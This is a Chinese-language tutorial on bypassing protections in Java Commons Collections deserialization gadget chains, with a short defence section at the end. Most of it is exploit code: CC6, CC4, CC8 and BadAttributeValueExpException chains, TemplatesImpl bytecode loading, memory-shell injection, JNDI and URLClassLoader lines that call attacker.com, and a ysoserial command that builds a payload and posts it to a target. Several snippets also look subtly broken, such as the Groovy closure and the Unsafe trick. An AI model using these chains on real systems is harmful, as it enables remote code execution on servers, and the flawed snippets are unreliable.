Java反序列化链CommonsCollections的绕过技巧
字数 646 2025-08-29 08:29:59

Java反序列化链CommonsCollections绕过技巧详解

一、JDK高版本绕过(针对8u71+的修复)

CC6链构造技巧

// 使用TiedMapEntry替代AnnotationInvocationHandler
Transformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});

Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// 通过反射触发
HashSet hashSet = new HashSet(1);
hashSet.add("bar");

// 反射修改HashSet内部结构
Field tableField = HashSet.class.getDeclaredField("map");
tableField.setAccessible(true);
HashMap internalMap = (HashMap) tableField.get(hashSet);

Field entryField = HashMap.class.getDeclaredField("table");
entryField.setAccessible(true);
Object[] table = (Object[]) entryField.get(internalMap);

Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 将恶意对象注入HashSet

// 序列化触发
serialize(hashSet);

绕过原理:

  • 利用TiedMapEntry.getValue()自动调用LazyMap.get()的特性
  • 通过修改HashSet内部存储结构绕过AnnotationInvocationHandler限制

二、黑名单过滤绕过

1. 非常规Transformer组合

// 使用Commons Collections的其它类构造链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(javax.script.ScriptEngineManager.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}),
    new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('calc')"})
};

2. 结合XStream别名绕过

<!-- 利用XStream的别名机制隐藏类名 -->
<xstream>
    <alias name="harmless" type="org.apache.commons.collections.functors.InvokerTransformer"/>
</xstream>

<!-- 实际攻击载荷 -->
<harmless>
    <iMethodName>exec</iMethodName>
    <iParamTypes>
        <class>java.lang.String</class>
    </iParamTypes>
    <iArgs>
        <string>calc</string>
    </iArgs>
</harmless>

三、无文件落地攻击

1. 内存马注入(Tomcat Filter型)

Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};

2. JNDI远程类加载

// 结合Log4j2漏洞的混合利用
Transformer[] jndiChain = new Transformer[]{
    new ConstantTransformer(JndiLookup.class),
    new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{"ldap://attacker.com/Exploit"})
};

四、字节码注入绕过

1. 使用TemplatesImpl加载BCEL字节码

// 生成恶意字节码
String bcelCode = "
$$
BCEL
$$
...";
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 构造TemplatesImpl链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", null);

Transformer[] bcChain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};

2. Groovy链利用

// 利用Groovy的MethodClosure
Class methodClosure = Class.forName("groovy.lang.Closure");
Object closure = methodClosure.getConstructor(Object.class, Object.class)
    .newInstance(new MethodClosure("calc", "execute"), "execute");

Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(closure),
    new InvokerTransformer("call", null, null)
};

五、防御对抗技巧

1. 反射黑名单绕过

// 使用Unsafe类绕过反射限制
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 直接内存操作修改访问权限
Class cls = Class.forName("java.lang.reflect.AccessibleObject");
Field overrideField = cls.getDeclaredField("override");
long offset = unsafe.objectFieldOffset(overrideField);

// 强制修改字段值
unsafe.putBoolean(chain, offset, true);

2. 动态类加载绕过

// 使用URLClassLoader加载远程类
Transformer[] urlChain = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", new Class[]{URL[].class}, new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

六、检测与防御方案

1. 防御性代码示例

// 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> allowedClasses = Set.of("java.lang.String", "java.util.HashMap");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!allowedClasses.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

2. 运行时防护(RASP)

// 使用Java Agent监控危险方法
public static class SecurityAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
            if (className.equals("java/io/ObjectInputStream")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                cr.accept(new ObjectInputStreamVisitor(cw), 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

// ASM字节码插桩
class ObjectInputStreamVisitor extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("readObject")) {
            mv.visitCode();
            mv.visitMethodInsn(INVOKESTATIC, "SecurityCheck", "validateDeserialization");
            mv.visitEnd();
        }
        return mv;
    }
}

七、进阶绕过技巧

1. CC4链:利用PriorityQueue与TransformingComparator

// 构造TemplatesImpl恶意类
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Exploit");
byte[] code = loadEvilClassBytes(); // 加载恶意字节码
setFieldValue(templates, "_bytecodes", new byte[][]{code});

// 构建InstantiateTransformer触发newTransformer()
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(2);

// 反射注入真实Transformer链
setFieldValue(comparator, "transformer", chain);

// 序列化与反序列化触发
serialize(queue);
deserialize("payload.bin");

2. BadAttributeValueExpException链

// 构造Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置LazyMap与TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");

// 通过反射设置BadAttributeValueExpException的val属性
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);

// 序列化触发
serialize(exp);

3. CC8链:TreeBag与TreeMap组合触发

// 配置TemplatesImpl恶意类
TemplatesImpl templates = createEvilTemplates();

// 构建Transformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(chain);

// 构造TreeBag触发链
TreeBag bag = new TreeBag(comparator);
bag.add("dummy"); // 触发TreeMap.put()

// 序列化与反序列化
serialize(bag);
deserialize("payload.bin");

八、攻击验证与防御策略

攻击验证命令

# 使用ysoserial生成绕过payload
java -Djdk.xml.enableTemplatesImplDeserialization=true \
     -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com" > payload.bin

# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vulnerable-app/deserialize

审计关注点

// 危险代码模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
RMI Registry.bind() // 远程对象绑定

防御策略

  1. 升级Commons Collections到4.4+版本
  2. 使用SerialKiller等安全反序列化库
  3. 启用SecurityManager沙箱
  4. 部署RASP进行运行时保护
  5. 结合SAST(静态分析)、IAST(交互式检测)实现立体防御
Java反序列化链CommonsCollections绕过技巧详解 一、JDK高版本绕过(针对8u71+的修复) CC6链构造技巧 绕过原理 : 利用TiedMapEntry.getValue()自动调用LazyMap.get()的特性 通过修改HashSet内部存储结构绕过AnnotationInvocationHandler限制 二、黑名单过滤绕过 1. 非常规Transformer组合 2. 结合XStream别名绕过 三、无文件落地攻击 1. 内存马注入(Tomcat Filter型) 2. JNDI远程类加载 四、字节码注入绕过 1. 使用TemplatesImpl加载BCEL字节码 2. Groovy链利用 五、防御对抗技巧 1. 反射黑名单绕过 2. 动态类加载绕过 六、检测与防御方案 1. 防御性代码示例 2. 运行时防护(RASP) 七、进阶绕过技巧 1. CC4链:利用PriorityQueue与TransformingComparator 2. BadAttributeValueExpException链 3. CC8链:TreeBag与TreeMap组合触发 八、攻击验证与防御策略 攻击验证命令 审计关注点 防御策略 升级Commons Collections到4.4+版本 使用SerialKiller等安全反序列化库 启用SecurityManager沙箱 部署RASP进行运行时保护 结合SAST(静态分析)、IAST(交互式检测)实现立体防御